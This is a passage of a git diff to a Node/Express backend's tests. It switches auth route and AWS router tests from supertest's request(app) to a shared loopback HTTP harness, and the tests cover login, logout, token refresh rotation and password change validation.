loginResponse2 = await request(app) + const loginResponse2 = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -1376,13 +1391,13 @@ describe('Auth Routes - POST /api/auth/logout', () => { const token2 = loginResponse2.body.token; // Logout with first token - await request(app) + await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token1}`) .expect(200); // Second token should still work - const logoutResponse2 = await request(app) + const logoutResponse2 = await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token2}`) .expect(200); @@ -1393,7 +1408,7 @@ describe('Auth Routes - POST /api/auth/logout', () => { describe('Authentication required', () => { it('should reject logout without Authorization header', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/logout') .expect(401); @@ -1402,7 +1417,7 @@ describe('Auth Routes - POST /api/auth/logout', () => { }); it('should reject logout with invalid Authorization header format', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', 'InvalidFormat') .expect(401); @@ -1412,7 +1427,7 @@ describe('Auth Routes - POST /api/auth/logout', () => { }); it('should reject logout with empty token', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', 'Bearer ') .expect(401); @@ -1423,7 +1438,7 @@ describe('Auth Routes - POST /api/auth/logout', () => { }); it('should reject logout with invalid token', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', 'Bearer invalid.token.here') .expect(401); @@ -1437,7 +1452,7 @@ describe('Auth Routes - POST /api/auth/logout', () => { // For now, we'll test with an invalid token structure const expiredToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjMiLCJleHAiOjB9.invalid'; // pragma: allowlist secret - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${expiredToken}`) .expect(401); @@ -1457,12 +1472,12 @@ describe('Auth Routes - POST /api/auth/logout', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -1470,13 +1485,13 @@ describe('Auth Routes - POST /api/auth/logout', () => { const token = loginResponse.body.token; // First logout should succeed - await request(app) + await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token}`) .expect(200); // Second logout with same token should fail (token already revoked) - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token}`) .expect(401); @@ -1495,14 +1510,14 @@ describe('Auth Routes - POST /api/auth/logout', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login multiple times to get different tokens const loginPromises = Array(3).fill(null).map(() => - request(app) + request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) ); @@ -1512,7 +1527,7 @@ describe('Auth Routes - POST /api/auth/logout', () => { // Logout concurrently with all tokens const logoutPromises = tokens.map(token => - request(app) + request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token}`) ); @@ -1536,12 +1551,12 @@ describe('Auth Routes - POST /api/auth/logout', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -1553,7 +1568,7 @@ describe('Auth Routes - POST /api/auth/logout', () => { // Logout should fail at middleware level (token verification fails) // because the database is needed to check revocation - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token}`) .expect(401); @@ -1575,12 +1590,12 @@ describe('Auth Routes - POST /api/auth/logout', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -1594,7 +1609,7 @@ describe('Auth Routes - POST /api/auth/logout', () => { ); // Logout should still work (token is still valid, just revoke it) - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token}`) .expect(200); @@ -1605,7 +1620,7 @@ describe('Auth Routes - POST /api/auth/logout', () => { describe('Security considerations', () => { it('should not expose user information in error messages', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', 'Bearer invalid.token.here') .expect(401); @@ -1630,12 +1645,12 @@ describe('Auth Routes - POST /api/auth/logout', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -1643,7 +1658,7 @@ describe('Auth Routes - POST /api/auth/logout', () => { const token = loginResponse.body.token; // Logout (should be logged) - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token}`) .expect(200); @@ -1697,12 +1712,12 @@ describe('Auth Routes - POST /api/auth/refresh', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -1710,7 +1725,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { const refreshToken = loginResponse.body.refreshToken; // Refresh the token - const refreshResponse = await request(app) + const refreshResponse = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken }) .expect(200); @@ -1745,12 +1760,12 @@ describe('Auth Routes - POST /api/auth/refresh', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -1759,7 +1774,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { const refreshToken = loginResponse.body.refreshToken; // Refresh the token - const refreshResponse = await request(app) + const refreshResponse = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken }) .expect(200); @@ -1784,12 +1799,12 @@ describe('Auth Routes - POST /api/auth/refresh', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -1797,7 +1812,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { const refreshToken = loginResponse.body.refreshToken; // Refresh the token - const refreshResponse = await request(app) + const refreshResponse = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken }) .expect(200); @@ -1826,12 +1841,12 @@ describe('Auth Routes - POST /api/auth/refresh', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -1839,7 +1854,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { const originalRefreshToken = loginResponse.body.refreshToken; // First refresh succeeds and returns a NEW refresh token - const refreshResponse1 = await request(app) + const refreshResponse1 = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken: originalRefreshToken }) .expect(200); @@ -1852,12 +1867,12 @@ describe('Auth Routes - POST /api/auth/refresh', () => { // rejected, AND it triggers a family-wide revocation: even the new // refresh token issued in the previous step is invalidated because the // reuse signals a likely token-theft scenario. - await request(app) + await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken: originalRefreshToken }) .expect(401); - await request(app) + await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken: refreshResponse1.body.refreshToken }) .expect(401); @@ -1866,7 +1881,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { describe('Failed token refresh', () => { it('should reject refresh with missing refresh token', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .send({}) .expect(400); @@ -1883,7 +1898,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { }); it('should reject refresh with empty refresh token', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken: '' }) .expect(400); @@ -1900,7 +1915,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { }); it('should reject refresh with invalid refresh token format', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken: 'invalid.token.format' }) .expect(400); @@ -1919,12 +1934,12 @@ describe('Auth Routes - POST /api/auth/refresh', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -1932,7 +1947,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { const accessToken = loginResponse.body.token; // Try to refresh with access token (should fail) - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken: accessToken }) .expect(400); @@ -1951,12 +1966,12 @@ describe('Auth Routes - POST /api/auth/refresh', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -1965,13 +1980,13 @@ describe('Auth Routes - POST /api/auth/refresh', () => { const accessToken = loginResponse.body.token; // Logout to revoke access token - await request(app) + await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${accessToken}`) .expect(200); // Refresh token should still work (it's independent of access token) - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken }) .expect(200); @@ -1990,12 +2005,12 @@ describe('Auth Routes - POST /api/auth/refresh', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -2009,7 +2024,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { ); // Try to refresh token - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken }) .expect(401); @@ -2034,7 +2049,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { { algorithm: 'HS256', issuer: 'pabawi', audience: 'pabawi' } ); - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken: fakeRefreshToken }) .expect(401); @@ -2046,7 +2061,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { describe('Edge cases and error handling', () => { it('should handle missing request body', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .expect(400); @@ -2054,7 +2069,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { }); it('should handle malformed JSON in request body', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .set('Content-Type', 'application/json') .send('{ invalid json }') @@ -2075,12 +2090,12 @@ describe('Auth Routes - POST /api/auth/refresh', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -2089,7 +2104,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { const responses: { token: string }[] = []; for (let i = 0; i < 5; i++) { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken: currentRefreshToken }); expect(response.status).toBe(200); @@ -2116,12 +2131,12 @@ describe('Auth Routes - POST /api/auth/refresh', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -2132,7 +2147,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { await databaseService.getConnection().close(); // Refresh should fail gracefully - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken }) .expect(401); @@ -2144,7 +2159,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { }); it('should not expose sensitive information in error messages', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken: 'invalid.token.here' }) .expect(400); @@ -2172,7 +2187,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { { algorithm: 'HS256' } ); - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken: wrongSecretToken }) .expect(400); @@ -2196,7 +2211,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { { algorithm: 'HS256' } ); - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken: expiredToken }) .expect(401); @@ -2215,12 +2230,12 @@ describe('Auth Routes - POST /api/auth/refresh', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -2228,7 +2243,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { const refreshToken = loginResponse.body.refreshToken; // Refresh token (should be logged) - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken }) .expect(200); @@ -2249,12 +2264,12 @@ describe('Auth Routes - POST /api/auth/refresh', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -2262,7 +2277,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { const refreshToken = loginResponse.body.refreshToken; // Refresh the token - const refreshResponse = await request(app) + const refreshResponse = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken }) .expect(200); @@ -2270,7 +2285,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { const newAccessToken = refreshResponse.body.token; // Use new access token to logout (protected endpoint) - const logoutResponse = await request(app) + const logoutResponse = await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${newAccessToken}`) .expect(200); @@ -2288,12 +2303,12 @@ describe('Auth Routes - POST /api/auth/refresh', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -2302,7 +2317,7 @@ describe('Auth Routes - POST /api/auth/refresh', () => { const refreshToken = loginResponse.body.refreshToken; // Refresh the token - const refreshResponse = await request(app) + const refreshResponse = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken }) .expect(200); @@ -2361,13 +2376,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login to get token - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(200); @@ -2380,7 +2395,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { newPassword: 'NewPassword456!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', `Bearer ${token}`) .send(changePasswordData) @@ -2400,13 +2415,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login to get token - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(200); @@ -2414,7 +2429,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { const token = loginResponse.body.token; // Change password - await request(app) + await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', `Bearer ${token}`) .send({ @@ -2424,7 +2439,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { .expect(200); // Try to login with new password - const newLoginResponse = await request(app) + const newLoginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'NewPassword456!' }) .expect(200); @@ -2443,13 +2458,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login to get token - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(200); @@ -2457,7 +2472,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { const token = loginResponse.body.token; // Change password - await request(app) + await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', `Bearer ${token}`) .send({ @@ -2467,7 +2482,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { .expect(200); // Try to login with old password (should fail) - const oldLoginResponse = await request(app) + const oldLoginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(401); @@ -2485,13 +2500,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login to get first token - const loginResponse1 = await request(app) + const loginResponse1 = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(200); @@ -2499,7 +2514,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { const token1 = loginResponse1.body.token; // Login again to get second token - const loginResponse2 = await request(app) + const loginResponse2 = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(200); @@ -2507,7 +2522,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { const token2 = loginResponse2.body.token; // Change password using first token - await request(app) + await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', `Bearer ${token1}`) .send({ @@ -2517,13 +2532,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { .expect(200); // Try to use first token (should fail - revoked) - await request(app) + await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token1}`) .expect(401); // Try to use second token (should also fail - all tokens revoked) - await request(app) + await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token2}`) .expect(401); @@ -2537,7 +2552,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { newPassword: 'NewPassword456!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/change-password') .send(changePasswordData) .expect(401); @@ -2551,7 +2566,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { newPassword: 'NewPassword456!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', 'Bearer invalid-token') .send(changePasswordData) @@ -2577,13 +2592,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login to get token - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(200); @@ -2596,7 +2611,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { newPassword: 'NewPassword456!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', `Bearer ${token}`) .send(changePasswordData) @@ -2616,13 +2631,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login to get token - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(200); @@ -2634,7 +2649,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { newPassword: 'NewPassword456!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', `Bearer ${token}`) .send(changePasswordData) @@ -2661,13 +2676,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login to get token - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(200); @@ -2680,7 +2695,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { newPassword: 'NewPassword456!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', `Bearer ${token}`) .send(changePasswordData) @@ -2701,13 +2716,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login to get token - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(200); @@ -2720,7 +2735,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { newPassword: 'Pass1!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', `Bearer ${token}`) .send(changePasswordData) @@ -2747,13 +2762,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login to get token - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(200); @@ -2766,7 +2781,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { newPassword: 'newpassword123!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', `Bearer ${token}`) .send(changePasswordData) @@ -2793,13 +2808,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login to get token - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(200); @@ -2812,7 +2827,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { newPassword: 'NEWPASSWORD123!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', `Bearer ${token}`) .send(changePasswordData) @@ -2839,13 +2854,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login to get token - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(200); @@ -2858,7 +2873,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { newPassword: 'NewPassword!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', `Bearer ${token}`) .send(changePasswordData) @@ -2885,13 +2900,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login to get token - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(200); @@ -2904,7 +2919,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { newPassword: 'NewPassword123', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', `Bearer ${token}`) .send(changePasswordData) @@ -2931,13 +2946,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login to get token - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(200); @@ -2949,7 +2964,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { currentPassword: 'OldPassword123!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', `Bearer ${token}`) .send(changePasswordData) @@ -2976,13 +2991,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login to get token - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(200); @@ -2995,7 +3010,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { newPassword: 'C0mpl3x!P@ssw0rd', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', `Bearer ${token}`) .send(changePasswordData) @@ -3016,13 +3031,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login to get token - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'OldPassword123!' }) .expect(200); @@ -3030,7 +3045,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { const token = loginResponse.body.token; // Try to change password with empty body - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', `Bearer ${token}`) .send({}) @@ -3049,13 +3064,13 @@ describe('Auth Routes - POST /api/auth/change-password', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login to get token - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -3068,7 +3083,7 @@ describe('Auth Routes - POST /api/auth/change-password', () => { newPassword: 'Password123!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/change-password') .set('Authorization', `Bearer ${token}`) .send(changePasswordData) diff --git a/backend/test/routes/aws.test.ts b/backend/test/routes/aws.test.ts index 22e41b7e..32bcdafd 100644 --- a/backend/test/routes/aws.test.ts +++ b/backend/test/routes/aws.test.ts @@ -1,5 +1,6 @@ import express, { type Express } from "express"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import { describe, it, expect, beforeAll, afterAll, beforeEach, afterEach, vi } from "vitest"; import { createAWSRouter } from "../../src/routes/integrations/aws"; import { DatabaseService } from "../../src/database/DatabaseService"; @@ -36,6 +37,20 @@ function createMockAWSPlugin(): AWSPlugin { } as unknown as AWSPlugin; } +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("AWS Router", () => { let app: Express; let databaseService: DatabaseService; @@ -132,7 +147,7 @@ describe("AWS Router", () => { ]; (mockPlugin.getInventory as ReturnType).mockResolvedValue(mockNodes); - const response = await request(app).get("/api/integrations/aws/inventory"); + const response = await request(harness.use(app)).get("/api/integrations/aws/inventory"); expect(response.status).toBe(200); expect(response.body).toHaveProperty("inventory"); @@ -144,7 +159,7 @@ describe("AWS Router", () => { new AWSAuthenticationError("Invalid credentials") ); - const response = await request(app).get("/api/integrations/aws/inventory"); + const response = await request(harness.use(app)).get("/api/integrations/aws/inventory"); expect(response.status).toBe(401); expect(response.body.error.code).toBe("UNAUTHORIZED"); @@ -155,7 +170,7 @@ describe("AWS Router", () => { new Error("Something went wrong") ); - const response = await request(app).get("/api/integrations/aws/inventory"); + const response = await request(harness.use(app)).get("/api/integrations/aws/inventory"); expect(response.status).toBe(500); expect(response.body.error.code).toBe("INTERNAL_SERVER_ERROR"); @@ -164,7 +179,7 @@ describe("AWS Router", () => { describe("POST /api/integrations/aws/provision", () => { it("should provision an instance with valid params", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/aws/provision") .send({ imageId: "ami-12345", instanceType: "t2.micro" }); @@ -174,7 +189,7 @@ describe("AWS Router", () => { }); it("should return 400 when imageId is missing", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/aws/provision") .send({ instanceType: "t2.micro" }); @@ -187,7 +202,7 @@ describe("AWS Router", () => { new AWSAuthenticationError("Expired token") ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/aws/provision") .send({ imageId: "ami-12345" }); @@ -197,7 +212,7 @@ describe("AWS Router", () => { describe("POST /api/integrations/aws/lifecycle", () => { it("should execute a lifecycle action", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/aws/lifecycle") .send({ instanceId: "i-abc123", action: "stop" }); @@ -206,7 +221,7 @@ describe("AWS Router", () => { }); it("should return 400 for invalid action", async () => { - const response = await request(app) + const response = await 